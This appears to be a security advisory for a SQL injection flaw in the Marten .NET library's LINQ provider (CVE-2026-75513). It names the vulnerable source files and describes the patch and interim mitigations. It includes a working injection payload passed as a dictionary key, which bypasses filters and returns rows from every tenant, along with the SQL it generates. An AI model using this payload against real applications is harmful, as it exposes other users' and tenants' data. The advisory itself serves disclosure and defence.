critical · 9.1CVE-2026-75513Sep 17, 2026

CVE-2026-75513: Marten LINQ Provider SQL Injection via Unescaped Dictionary Key

Rohit Hatagale
AI Security Researcher, SecureLayer7

Marten's LINQ query engine interpolates attacker-controlled strings directly into PostgreSQL SQL as unescaped single-quoted literals, letting anyone who can influence a dictionary filter key bypass…

PackageMarten
Ecosystemnuget
Affected>= 7.0.0, <= 9.12.0
Fixed in9.13.0

The problem

Marten's LINQ provider and tenant-management code build raw SQL by interpolating runtime values into single-quoted string literals with no escaping and no parameterization.

The primary exploitable path is a Dictionary<,> indexer key inside a Where filter, such as Where(x => x.Attributes[key] == v). A caller-supplied key reaches DictionaryItemMember.cs, which embeds it verbatim. Additional sinks include DictionaryContainsKeyFilter.cs (Newtonsoft serializer only), SelectParser.cs (constant string in a projection), DeleteAllForTenant.cs (tenant id into projection teardown), and DatabaseScopedTenantPartitions.cs (tenant id in partition DDL).

Proof of concept

A working proof-of-concept for CVE-2026-75513 in Marten, with the exact payload below.

javascript
// Benign: returns 0 rows
var key = "nonexistent-key";
var results = session.Query<Doc>()
    .Where(x => x.Attributes[key] == "v")
    .ToList();

// Attack: returns ALL rows (cross-tenant / filter bypass)
var key = "nonexistent' = '' or 1=1 --";
var results = session.Query<Doc>()
    .Where(x => x.Attributes[key] == "v")
    .ToList();

// Generated SQL (vulnerable versions):
// select d.data from public.mt_doc_doc as d
// where d.data -> 'Attributes' ->> 'nonexistent' = '' or 1=1 --' = :p0;

In DictionaryItemMember.cs, the indexer key is formatted directly into a ->>'<key>' JSON-path fragment without any sanitization. A single quote in the key terminates the literal early and appends arbitrary SQL, which PostgreSQL executes normally.

The patch applies .Replace("'", "''") to every affected sink before the value is written into the SQL string, mirroring the existing escaping already present in Ordering.BuildNgramRankExpression. DeleteAllForTenant.cs instead moves the tenant id to a bound parameter entirely.

Where partition pruning requires an inline literal, escaping preserves query-plan pruning while closing the injection. The root cause is CWE-89: missing output encoding at the point where a runtime string meets generated SQL text.

The fix

Upgrade to Marten 9.13.0 (NuGet package Marten). The fix is in commit 61882d0424854cb48703f08bdb246894ac576bed via pull request #4911. Until you can upgrade, do not pass any untrusted or user-controlled value as a dictionary indexer key, a ContainsKey argument, a Select constant, or a tenant id into IEventStore.DeleteProjectionProgressAsync or tenant-partition provisioning.

Also consider disabling Npgsql multi-statement batching to limit blast radius if injection still occurs.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research